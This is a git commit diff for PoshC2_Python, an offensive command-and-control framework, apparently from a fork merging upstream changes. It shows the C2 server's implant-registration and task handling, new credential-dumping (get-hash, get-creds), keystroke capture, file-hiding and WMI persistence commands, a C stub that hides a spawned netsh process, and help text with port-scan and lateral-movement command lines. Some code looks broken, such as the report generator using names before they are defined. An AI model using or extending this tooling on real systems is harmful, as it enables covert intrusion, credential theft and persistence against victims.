Merge pull request #1 from nettitude/master

Updating fork via web interface
chunking
R H 2018-12-14 00:22:37 +00:00 committed by GitHub
commit 47431e2fea
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
20 changed files with 8538 additions and 4137 deletions

View File

@ -52,7 +52,9 @@ def run_autoloads(command, randomuri):
if "get-gppautologon" in command.lower(): check_module_loaded("Get-GPPAutologon.ps1", randomuri)
if "get-gpppassword" in command.lower(): check_module_loaded("Get-GPPPassword.ps1", randomuri)
if "get-idletime" in command.lower(): check_module_loaded("Get-IdleTime.ps1", randomuri)
if "get-ipconfig" in command.lower(): check_module_loaded("Get-IPConfig.ps1", randomuri)
if "get-keystrokes" in command.lower(): check_module_loaded("Get-Keystrokes.ps1", randomuri)
if "get-hash" in command.lower(): check_module_loaded("Get-Hash.ps1", randomuri)
if "get-locadm" in command.lower(): check_module_loaded("Get-LocAdm.ps1", randomuri)
if "get-mshotfixes" in command.lower(): check_module_loaded("Get-MSHotFixes.ps1", randomuri)
if "get-netstat" in command.lower(): check_module_loaded("Get-Netstat.ps1", randomuri)

View File

@ -2,15 +2,15 @@
import argparse, os, sys, re, datetime, time, base64, BaseHTTPServer, re, logging, ssl, signal
from Implant import *
from Implant import *
from Tasks import *
from Core import *
from Colours import *
from Help import *
from Help import *
from DB import *
from Payloads import *
from Config import *
from Cert import *
from Cert import *
from Help import *
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
@ -126,12 +126,12 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
if s.path == ("%s?m" % new_implant_url):
implant_type = "OSX"
if implant_type == "OSX":
if implant_type == "OSX":
cookieVal = (s.cookieHeader).replace("SessionID=","")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
User,Domain,Hostname,Arch,PID,Proxy = decCookie.split(";")
newImplant = Implant(IPAddress, implant_type, Domain, User, Hostname, Arch, PID, Proxy)
newImplant = Implant(IPAddress, implant_type, Domain.decode("utf-8"), User.decode("utf-8"), Hostname.decode("utf-8"), Arch, PID, Proxy)
newImplant.save()
newImplant.display()
responseVal = encrypt(KEY, newImplant.PythonCore)
@ -140,13 +140,13 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
s.send_header("Content-type", "text/html")
s.end_headers()
s.wfile.write(responseVal)
else:
try:
else:
try:
cookieVal = (s.cookieHeader).replace("SessionID=","")
decCookie = decrypt(KEY, cookieVal)
Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";")
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
newImplant = Implant(IPAddress, implant_type, Domain,User, Hostname, Arch, PID, Proxy)
newImplant = Implant(IPAddress, implant_type, Domain.decode("utf-8"),User.decode("utf-8"), Hostname.decode("utf-8"), Arch, PID, Proxy)
newImplant.save()
newImplant.display()
newImplant.autoruns()
@ -154,15 +154,15 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
s.end_headers()
s.wfile.write(responseVal)
except Exception as e:
print ("Decryption error: %s" % e)
s.send_response(404)
s.send_header("Content-type", "text/html")
s.end_headers()
s.end_headers()
s.wfile.write(HTTPResponse)
else:
else:
s.send_response(404)
s.send_header("Content-type", "text/html")
s.end_headers()
@ -196,7 +196,7 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
print (Colours.GREEN)
print ("Command returned against implant %s on host %s %s (%s)" % (implantID,Hostname,Domain,now.strftime("%m/%d/%Y %H:%M:%S")))
#print decCookie,Colours.END
rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput)
outputParsed = outputParsed.rstrip()
@ -205,7 +205,7 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
insert_completedtask(RandomURI, decCookie, "Module loaded sucessfully", "")
if "get-screenshot" in decCookie.lower() or "screencapture" in decCookie.lower():
try:
decoded = base64.b64decode(outputParsed)
decoded = base64.b64decode(outputParsed)
filename = i[3] + "-" + now.strftime("%m%d%Y%H%M%S_"+randomuri())
output_file = open('%s%s.png' % (DownloadsDirectory,filename), 'wb')
print ("Screenshot captured: %s%s.png" % (DownloadsDirectory,filename))
@ -213,7 +213,7 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
output_file.write(decoded)
output_file.close()
except Exception as e:
insert_completedtask(RandomURI, decCookie, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!", "")
insert_completedtask(RandomURI, decCookie, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!", "")
print ("Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")):
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
@ -234,7 +234,7 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
output_file.write(rawoutput[10:])
output_file.close()
except Exception as e:
insert_completedtask(RandomURI, decCookie, "Error downloading file %s " % e, "")
insert_completedtask(RandomURI, decCookie, "Error downloading file %s " % e, "")
print ("Error downloading file %s " % e)
else:
@ -280,7 +280,7 @@ if __name__ == '__main__':
setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer,APIToken,APIUser,EnableNotifications)
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
C2[13], C2[11], "", "", C2[19], C2[20],
C2[21], get_newimplanturl(), PayloadsDirectory)
@ -308,7 +308,9 @@ if __name__ == '__main__':
print (Colours.END)
if (os.path.isfile("%sposh.crt" % ROOTDIR)) and (os.path.isfile("%sposh.key" % ROOTDIR)):
httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True)
httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
# add this if required - https://github.com/nettitude/PoshC2_Python/issues/13
# httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
else:
raise ValueError("Cannot find the certificate files")
#logging.basicConfig(level=logging.WARNING) # DEBUG,INFO,WARNING,ERROR,CRITICAL

View File

@ -18,19 +18,11 @@ int main(int argc, char *argv[])
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi= {0};
BOOL bSuccess = FALSE;
DWORD dwPid = 0;
bSuccess = CreateProcess(NULL, "C:\\Windows\\system32\\netsh.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
int processID = GetCurrentProcessId();
if (bSuccess)
{
dwPid = GetProcessId(pi.hProcess);
}
if (x > 0)
{
pump(x);
} else {
//pump(dwPid);
pump(processID);
}
while(1) {Sleep(50000);}

13
Help.py
View File

@ -6,7 +6,7 @@ logopic = """__________ .__. _________ ________
| | ( <_> )___ \| Y \ \ \____/ \
|____| \____/____ >___| / \______ /\_______ \
\/ \/ \/ \/
=============== v4.4 www.PoshC2.co.uk ============="""
=============== v4.5 www.PoshC2.co.uk ============="""
py_help1 = """
@ -39,6 +39,11 @@ Implant Features:
=====================
ps
searchhelp mimikatz
get-hash
unhidefile
hidefile
get-ipconfig
netstat
beacon 60s / beacon 10m / beacon 2h
turtle 60s / turtle 30m / turtle 8h
kill-implant
@ -255,6 +260,9 @@ get-keystrokedata
arpscan -ipcidr 10.0.0.1/24
portscan -ipaddress 10.0.0.1-50 -ports "1-65535" -maxqueriesps 10000 -delay 0
((new-object Net.Sockets.TcpClient).connect("10.0.0.1",445))
get-netstat | %{"$($_.Protocol) $($_.LocalAddress):$($_.LocalPort) $($_.RemoteAddress):$($_.Re
motePort) $($_.State) $($_.ProcessName)($($_.PID))"}
1..254 | %{ try {[System.Net.Dns]::GetHostEntry("10.0.0.$_") } catch {} }|select hostname
migrate
migrate -procid 4444
migrate -procpath c:\\windows\\system32\\searchprotocolhost.exe -suspended -RtlCreateUserThread
@ -351,7 +359,8 @@ COMMANDS = ['loadmodule',"bloodhound","brute-ad","brute-locadmin",
"invoke-eternalblue","loadmoduleforce","unhook-amsi","get-implantworkingdirectory","get-system",
"get-system-withproxy","get-system-withdaisy","get-pid","listmodules","modulesloaded",
"startanotherimplant","remove-persistence","removeexe-persistence","installexe-persistence",
"resolve-ipaddress","invoke-wmievent","remove-wmievent","get-wmievent","invoke-smbclient","get-keystrokedata"]
"get-hash","get-creds","resolve-ipaddress","invoke-wmievent","remove-wmievent","get-wmievent",
"invoke-smbclient","get-keystrokedata","unhidefile","hidefile"]
COMMANDS += ['invoke-psexecpayload','invoke-wmipayload', 'invoke-dcompayload']
COMMANDS += ['invoke-psexecproxypayload','invoke-wmiproxypayload', 'invoke-dcomproxypayload']

View File

@ -16,4 +16,22 @@ sudo python /opt/PoshC2_Python/ImplantHandler.py
# Optional for mutli user
sudo python /opt/PoshC2_Python/C2Viewer.py
# RUNNING as SystemCTL Service, see poshc2.service file for more information
# RUNNING as SystemCTL Service, see poshc2.service file for more information
systemctl start poshc2.service
# Each user have their own ImplantHandler.py
sudo python /opt/PoshC2_Python/ImplantHandler.py
# Each user can view output from JournalCTL
journalctl -n 80000 -u poshc2.service -f --output cat
# OPTIONAL - INSTALL PoshC2_Python on Linux using Python VirtualENV
=======================================================================
cd /opt/
git clone https://github.com/nettitude/PoshC2_Python.git
pip install virtualenv
virtualenv /opt/PoshC2_Python/
cd /opt/PoshC2_Python/
source /opt/PoshC2_Python/bin/activate
pip install -r requirements.txt

View File

@ -296,7 +296,11 @@ function GetImgData($cmdoutput) {
$ImageBytesFull
}
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.RijndaelManaged"
try {
$aesManaged = New-Object "System.Security.Cryptography.RijndaelManaged"
} catch {
$aesManaged = New-Object "System.Security.Cryptography.AesCryptoServiceProvider"
}
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128

View File

@ -90,14 +90,14 @@ def createnewpayload():
new_urldetails( randomid, domain, domainfront, proxyurl, proxyuser, proxypass, credsexpire )
startup("Created new payloads")
def argp(cmd):
args = ""
try:
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('-Help', '-help', '-h', action='store', dest='help', required=False)
parser.add_argument('-Source', '-source', action='store', dest='source', required=True)
parser.add_argument('-Destination', '-destination', action='store', dest='destination', required=True)
parser.add_argument('-Destination', '-destination', action='store', dest='destination', required=True)
parser.add_argument('-NotHidden', '-nothidden', action='store', dest='nothidden', required=False)
args, unknown = parser.parse_known_args(shlex.split(cmd))
except:
error = "error"
@ -793,7 +793,10 @@ def runcommand(command, randomuri):
destination = args.destination.replace("\\","\\\\")
print ("")
print ("Uploading %s to %s" % (args.source, destination))
uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (destination, source)
if (args.nothidden):
uploadcommand = "Upload-File -Destination \"%s\" -NotHidden %s -Base64 %s" % (destination, args.nothidden, source)
else:
uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (destination, source)
new_task(uploadcommand, randomuri)
except Exception as e:
print ("Error with source file: %s" % e)

17
Modules/Get-Hash.ps1 Executable file

File diff suppressed because one or more lines are too long

31
Modules/Get-IPConfig.ps1 Normal file
View File

@ -0,0 +1,31 @@
# https://gallery.technet.microsoft.com/scriptcenter/IPConfig-all-cfe08dc0
function Get-Ipconfig {
$array= @()
$wmi=Get-WmiObject win32_ComputerSystem
$obj=New-Object PSObject
$obj |Add-Member -MemberType NoteProperty -Name "ComputerName" $wmi.Name
# Finding the Network Adapter and MAC Address, DHCP Server
$wmi=Get-WmiObject win32_networkadapterconfiguration | where {$_.Ipenabled -Match "True"}
$obj |Add-Member -MemberType NoteProperty -Name "IPAddress" $wmi.IPAddress
$obj |Add-Member -MemberType NoteProperty -Name "NetworkAdapter" $wmi.description
$obj |Add-Member -MemberType NoteProperty -Name "MACAddress" $wmi.macaddress
$obj |Add-Member -MemberType NoteProperty -Name "DefaultGateway" $wmi.DefaultIPGateway
$obj |Add-Member -MemberType NoteProperty -Name "DHCPServer" $wmi.DHCPServer
$obj |Add-Member -MemberType NoteProperty -Name "DHCPEnabled" $wmi.DHCPEnabled
$obj |Add-Member -MemberType NoteProperty -Name "SubnetMask" $wmi.IPSubnet
$obj |Add-Member -MemberType NoteProperty -Name "DNSServer" $wmi.DnsServerSearchOrder
$obj |Add-Member -MemberType NoteProperty -Name "WinsPrimaryServer" $wmi.WinsPrimaryServer
$obj |Add-Member -MemberType NoteProperty -Name "WinsSecondaryServer" $wmi.WinsSecondaryServer
$array +=$obj
echo "[+] IPConfig "
echo $array
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

View File

@ -36,7 +36,7 @@ Function Invoke-WMIEvent
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer}
Write-Output ""
Write-Output "[+] WMIEvent added: $Name for $Hour:$Minute"
Write-Output "[+] WMIEvent added: $Name for $Hour : $Minute"
Write-Output "[+] Command: $Command"
Write-Output ""
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,33 @@
function SSLInspectionCheck($url, $proxyurl, $proxyuser, $proxypass){
write-output "Checking $($url)"
$req = [Net.HttpWebRequest]::Create($url)
if ($proxyurl) {
$wc = New-Object System.Net.WebClient;
$wp = New-Object System.Net.WebProxy($proxyurl,$true)
$PSS = ConvertTo-SecureString $proxypass -AsPlainText -Force;
$getcreds = new-object system.management.automation.PSCredential $proxyuser,$PSS;
$wp.Credentials = $getcreds;
$req.Proxy=$wp;
}
$req.timeout = 10000
try {
$req.GetResponse() |Out-Null
} catch {
write-output "Exception while checking URL $($url)`: $($_)"
}
$expiration = $req.ServicePoint.Certificate.GetExpirationDateString()
$certName = $req.ServicePoint.Certificate.GetName()
$certPublicKeyString = $req.ServicePoint.Certificate.GetPublicKeyString()
$certSerialNumber = $req.ServicePoint.Certificate.GetSerialNumberString()
$certThumbprint = $req.ServicePoint.Certificate.GetCertHashString()
$certEffectiveDate = $req.ServicePoint.Certificate.GetEffectiveDateString()
$certIssuer = $req.ServicePoint.Certificate.GetIssuerName()
write-output "Cert for site $($url). Check details:`n`nCert name: $($certName)`nCert public key: $($certPublicKeyString)`nCert serial number: $($certSerialNumber)`nCert thumbprint: $($certThumbprint)`nCert effective date: $($certEffectiveDate)`nCert Expiry: $($expiration)`nCert issuer: $($certIssuer)"
rv req
}

427
OfflineReportGenerator.py Normal file
View File

@ -0,0 +1,427 @@
#!/usr/bin/env python
import sqlite3, re, subprocess, time, cgi, os, sys
import pandas as pd
# Configurable Setting
ReportsDirectory = "./"
# End
if not os.path.exists(ReportsDirectory):
os.makedirs(ReportsDirectory)
DB = ""
try:
DB = sys.argv[1]
except IndexError:
DB = ""
if len(DB) < 1:
print "Usage: python OfflineReportGenerator.py PowershellC2.SQLite"
exit()
if not os.path.exists(DB):
print "%s Does not exist" % DB
exit()
# Main program
def replace_tabs(s):
s = s.replace("\t", " ")
return s
HostnameIP = "1.1.1.1"
ServerTAG = "\\n\\n\\n\\n\\n\\n\\n\\n\\n\\nPoshC2 Server\\n%s" % HostnameIP
GV = GV.replace("POSHSERVER",ServerTAG)
implants = get_implants_all_db()
hosts = ""
daisyhosts = ""
for i in implants:
if "Daisy" not in i[15]:
if i[3] not in hosts:
hostname = i[11].replace("\\","\\\\")
hosts += "\"%s\" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (ServerTAG,hostname,i[3])
for i in implants:
if "Daisy" in i[15]:
hostname = i[11].replace("\\","\\\\")
if "\"%s\\n\\n\\n\\n \" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (i[9].replace('\x00','').replace("\\","\\\\").replace('@',' \\n '),hostname,i[3]) not in daisyhosts:
daisyhosts += "\"%s\\n\\n\\n\\n \" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (i[9].replace('\x00','').replace("\\","\\\\").replace('@',' \\n '),hostname,i[3])
GV = GV.replace("DAISYHOSTS",daisyhosts)
GV = GV.replace("IMPLANTHOSTS",hosts)
def get_implants_all_db():
conn = sqlite3.connect(DB)
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("SELECT * FROM Implants")
result = c.fetchall()
if result:
return result
else:
return None
def get_htmlimplant( randomuri ):
conn = sqlite3.connect(DB)
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("SELECT * FROM Implants WHERE RandomURI=?",(randomuri,))
result = c.fetchone()
if result:
return result
else:
return None
def generate_table(table):
HTMLPre = """<script>
function SearchUser() {
// Declare variables
var input, filter, table, tr, td, i;
input = document.getElementById("SearchUser");
filter = input.value.toUpperCase();
table = document.getElementById("PoshTable");
tr = table.getElementsByTagName("tr");
// Loop through all table rows, and hide those who don't match the search query
for (i = 0; i < tr.length; i++) {
td = tr[i].getElementsByTagName("td")[2];
if (td) {
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
tr[i].style.display = "";
} else {
tr[i].style.display = "none";
}
}
}
}
function SearchHost() {
// Declare variables
var input, filter, table, tr, td, i;
input = document.getElementById("SearchHost");
filter = input.value.toUpperCase();
table = document.getElementById("PoshTable");
tr = table.getElementsByTagName("tr");
// Loop through all table rows, and hide those who don't match the search query
for (i = 0; i < tr.length; i++) {
td = tr[i].getElementsByTagName("td")[3];
if (td) {
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
tr[i].style.display = "";
} else {
tr[i].style.display = "none";
}
}
}
}
function SearchURL() {
// Declare variables
var input, filter, table, tr, td, i;
input = document.getElementById("SearchURL");
filter = input.value.toUpperCase();
table = document.getElementById("PoshTable");
tr = table.getElementsByTagName("tr");
// Loop through all table rows, and hide those who don't match the search query
for (i = 0; i < tr.length; i++) {
td = tr[i].getElementsByTagName("td")[9];
if (td) {
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
tr[i].style.display = "";
} else {
tr[i].style.display = "none";
}
}
}
}
function SearchCommand() {
// Declare variables
var input, filter, table, tr, td, i;
input = document.getElementById("CommandInput");
filter = input.value.toUpperCase();
table = document.getElementById("PoshTable");
tr = table.getElementsByTagName("tr");
// Loop through all table rows, and hide those who don't match the search query
for (i = 0; i < tr.length; i++) {
td = tr[i].getElementsByTagName("td")[3];
if (td) {
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
tr[i].style.display = "";
} else {
tr[i].style.display = "none";
}
}
}
}
function SearchOutput() {
// Declare variables
var input, filter, table, tr, td, i;
input = document.getElementById("OutputInput");
filter = input.value.toUpperCase();
table = document.getElementById("PoshTable");
tr = table.getElementsByTagName("tr");
// Loop through all table rows, and hide those who don't match the search query
for (i = 0; i < tr.length; i++) {
td = tr[i].getElementsByTagName("td")[4];
if (td) {
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
tr[i].style.display = "";
} else {
tr[i].style.display = "none";
}
}
}
}
function SearchTask() {
// Declare variables
var input, filter, table, tr, td, i;
input = document.getElementById("SearchTask");
filter = input.value.toUpperCase();
table = document.getElementById("PoshTable");
tr = table.getElementsByTagName("tr");
// Loop through all table rows, and hide those who don't match the search query
for (i = 0; i < tr.length; i++) {
td = tr[i].getElementsByTagName("td")[0];
if (td) {
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
tr[i].style.display = "";
} else {
tr[i].style.display = "none";
}
}
}
}
// Do some tweaking to markup to make things easier
function tweakMarkup(){
// Add classes to columns
var classes = ['id', 'taskid', 'randomuri', 'command', 'output', 'prompt','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
tbl = document.getElementById("PoshTable");
ths = tbl.getElementsByTagName("th");
for( i=0; i<ths.length; i++ ){
th = ths[i];
th.className = classes[i]
}
trs = tbl.getElementsByTagName("tr");
for( i=0; i<trs.length; i++ ){
tr = trs[i]
tds = tr.getElementsByTagName('td');
if( i % 2 == 0 ){
tr.className = 'even';
}else{
tr.className = 'odd';
}
for( j=0; j<tds.length; j++ ){
td = tds[j];
td.className = classes[j]
if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|taskid|randomuri|command|output|prompt|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot/) ){
td.className += ' hidden';
td.innerHTML = '<div>' + td.innerHTML + '</div>';
td.onclick = toggleHide
}
}
}
}
function toggleHide( evnt ){
td = evnt.target;
if( td.nodeName == 'DIV' ){
td = td.parentElement;
}
cls = td.className;
if( cls.match(/hidden/) ){
cls = cls.replace('hidden','shown');
}else{
cls = cls.replace('shown','hidden');
}
td.className = cls;
}
</script>
<style>
#CommandInput, #OutputInput, #SearchTask, #SearchHost, #SearchUser, #SearchURL {
background-image: url('/css/searchicon.png'); /* Add a search icon to input */
background-position: 10px 12px; /* Position the search icon */
background-repeat: no-repeat; /* Do not repeat the icon image */
width: 100%; /* Full-width */
font-size: 16px; /* Increase font-size */
padding: 12px 20px 12px 40px; /* Add some padding */
border: 1px solid #ddd; /* Add a grey border */
margin-bottom: 12px; /* Add some space below the input */
}
body {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
}
table {
font-family: monospace;
margin: 1em 0;
white-space: pre;
border-spacing: 0;
width: 100%;
table-layout: fixed;
}
table tr {}
table tr.even{
background-color: #f2f2f2
}
table tr th,
table tr td {
text-align: left;
padding: 0.5em;
border: 1px solid #ccc;
}
table tr th {
background-color: #4CAF50;
color: white;
}
table tr td {
vertical-align: top;
}
table tr td.command {
}
table tr td.hidden div,
table tr td.shown div {
cursor: pointer;
background: top right url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHkSURBVDjL3ZNvT1JhGMafb3G+TQqKECNFRIEDcvgXmB5IPNJmTdbC1SQ0S1xzZKXyT41TdpCOMyYtiXS9aW2uD8EbPsHV87RRmyLrdc92vbt/1/U8930/ZLYxASbpSwgz9SCin2+CHtJJwYoLgbITvvcOeN7a4S6NgTB45+cmCucvu8JMFOZCZQHpr0tYO12Ga9cKwpJz5xvIfH+GR2dxRGp+uSOs8Jxv39GKV+/gYS2OlXoSfNECMnMSRKw+hdS3BLI/Mlho3MPUR88lE+++ozlfjWG1kYJUCcNRsMCWM4NM02vf/hTgwsf+1uLpfTw4mcOtQ0G9aCDINiWmRiAdiAz+HTC6Nfi3QKx6uckjT3Pi0K1c1QPnzojahtsi3Zr2L/rfDGin5fE3o+pVxeYXRmVw3dA0Pddzfwz8Co82LFVERMuTbEyXJjGUMaqBgoBQ0Qfjmq5lWO3n9E/76IK8s4PCYHCytoDZgwhsWXPzosGNdYPszY1jTonBnxVgSuuhe6KhyfRDJGsJ3P0gQSqLDG7RBeE6PeF6Wie7X/MI5N2YLonoX+oFce1ZsXicQOJoHs68FdbNznBbAytaREthSHIE2lQPCF8cgT0/jLHtIQbD8sqEbrBuWYM+mqx93ANN8hp+AQOPtI0tirA3AAAAAElFTkSuQmCC);
background-repeat: no-repeat;
overflow: scroll;
word-wrap: break-all;
white-space:normal;
min-height: 25px;
width: 100%;
}
table tr td.shown div {
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHqSURBVDjL3ZHbThpRFIZ5i3kcLRYPqIgUGcDhNKBAqyKCobTR2NhiKmCstcWmBmtLPaCO4CQ6SBWVKInx0N70KbjhCf7O3ia0ZS686F0vVrL3Xvv7VvIvFQBVuOITQxfe6tj5IEPu9xW/ZxGcu2aJnAksxW9eYP42hmB5oBY48zAjJ240QoP7HH3j8xYhWgwiUgiAyxpFlTxZmL2ewvrPNBJX0wid+TF0zCsEHtEKGcbT4igWK0k8OwzBumGo0uZoeUCYuZzE0vUcVn6k8OSbUyFwyfDbSgKvShOIFsZgWTfU2K96pv5huOSm8KfvS/AXHAqBQ2CxcJFAsjwDe5YFgWkGdzCPoSMXHhed8BXs8B7YFALbVh/6Nx+RyWAzevR91qEu+Jf6XwRuecdkTSRp27YcVtaoCLE33Qn9sha6D+3oSrVB+07zO0RXzsx4chxmT18ifhqjSTcKej5qMbkfRVQM12EqILA8uRaRgnguhRE7mqJrahR0y5MjYgi+TTfsq1a0vVELVODYMVUJ/Lo0jZG8768d/1md71uhS2nBZxwYzwXRn2bxMNksqLgtoxgQ/RjOe2HK9FCrYaVLIehY1KB9oYVpnVfXnKscrMsmqBNNEm2a13ol05c7+L7SzD1gWpLNVXW8SST3X7gvtJUuvnAlAAAAAElFTkSuQmCC);
}
table tr td.output {
width: 100px;
}
table tr td.hidden div {
height: 1em;
overflow: hidden;
cursor: pointer;
}
table tr th.id {
width: 3%;
min-width: 3em;
}
table tr th.taskid {
width: 12%;
}
table tr th.randomuri {
width: 15%;
}
table tr th.prompt {
width: 10%;
}
p {
margin-left: 20px;
font-size: 12px;
}
</style>
<pre>
__________ .__. _________ ________
\_______ \____ _____| |__ \_ ___ \ \_____ \
| ___/ _ \/ ___/ | \ / \ \/ / ____/
| | ( <_> )___ \| Y \ \ \____/ \
|____| \____/____ >___| / \______ /\_______
\/ \/ \/ \/
================= www.PoshC2.co.uk ===============
</pre>
"""
if table == "CompletedTasks":
HTMLPre += """<input type="text" id="SearchTask" onkeyup="SearchTask()" placeholder="Search for task..">
<input type="text" id="CommandInput" onkeyup="SearchCommand()" placeholder="Search for command..">
<input type="text" id="OutputInput" onkeyup="SearchOutput()" placeholder="Search for output..">
"""
if table == "Implants":
HTMLPre += """<input type="text" id="SearchHost" onkeyup="SearchHost()" placeholder="Search for host..">
<input type="text" id="SearchUser" onkeyup="SearchUser()" placeholder="Search for user..">
<input type="text" id="SearchURL" onkeyup="SearchURL()" placeholder="Search for URL..">
"""
conn = sqlite3.connect(DB)
pd.set_option('display.max_colwidth', -1)
pd.options.mode.chained_assignment = None
frame = pd.read_sql_query("SELECT * FROM %s" % table, conn)
# encode the Output column
if table == "CompletedTasks":
for index, row in frame.iterrows():
frame.loc[index, "Command"] = replace_tabs(cgi.escape(row["Command"]))
frame.loc[index, "Output"] = replace_tabs(cgi.escape(row["Output"]))
# convert the random uri to original hostname
if table == "CompletedTasks":
framelen = frame['RandomURI'].count()
for x in range(0, framelen):
try:
frame['RandomURI'][x]
a = get_htmlimplant(str(frame['RandomURI'][x]))
frame['RandomURI'][x] = a[2] + " @ " + a[3]
except Exception as e:
print e
a = "None"
reportname = "%s%s.html" % (ReportsDirectory,table)
output_file = open(reportname, 'w')
HTMLPost = (frame.to_html(classes='table',index=False,escape=False)).replace("\\r\\n","</br>")
HTMLPost = HTMLPost.replace("\\n","</br>")
HTMLPost = re.sub(u'\x00', '', HTMLPost)
HTMLPost = HTMLPost.replace(" <td>"," <td class=\"TableColumn\">")
HTMLPost = HTMLPost.replace("<tr style=\"text-align: right;\">","<tr>")
HTMLPost = HTMLPost.replace("<table border=\"1\" class=\"dataframe table\">","<table id=\"PoshTable\" border=\"1\" class=\"PoshTableClass\">")
HTMLPost = HTMLPost.replace("<th>CompletedTaskID</th>","<th class=\"CompletedTaskID\">ID</th>")
HTMLPost = HTMLPost.replace("<th>ID</th>","<th class=\"ID\">ID</th>")
HTMLPost = HTMLPost.replace("<th>TaskID</th>","<th class=\"TaskID\">TaskID</th>")
HTMLPost = HTMLPost.replace("<th>RandomURI</th>","<th class=\"RandomURI\">RandomURI</th>")
HTMLPost = HTMLPost.replace("<th>Command</th>","<th class=\"Command\">Command</th>")
HTMLPost = HTMLPost.replace("<th>Output</th>","<th class=\"Output\">Output</th>")
HTMLPost = HTMLPost.replace("<th>Prompt</th>","<th class=\"Prompt\">Prompt</th>")
HTMLPost = HTMLPost.replace("<th>ImplantID</th>","<th class=\"ImplantID\">ImplantID</th>")
HTMLPost = HTMLPost.replace("<th>User</th>","<th class=\"User\">User</th>")
HTMLPost = HTMLPost.replace("<th>Hostname</th>","<th class=\"Hostname\">Hostname</th>")
HTMLPost = HTMLPost.replace("<th>IpAddress</th>","<th class=\"IpAddress\">IpAddress</th>")
HTMLPost = HTMLPost.replace("<th>Key</th>","<th class=\"Key\">Key</th>")
HTMLPost = HTMLPost.replace("<th>FirstSeen</th>","<th class=\"FirstSeen\">FirstSeen</th>")
HTMLPost = HTMLPost.replace("<th>LastSeen</th>","<th class=\"LastSeen\">LastSeen</th>")
HTMLPost = HTMLPost.replace("<th>PID</th>","<th class=\"PID\">PID</th>")
HTMLPost = HTMLPost.replace("<th>Proxy</th>","<th class=\"Proxy\">Proxy</th>")
HTMLPost = HTMLPost.replace("<th>Arch</th>","<th class=\"Arch\">Arch</th>")
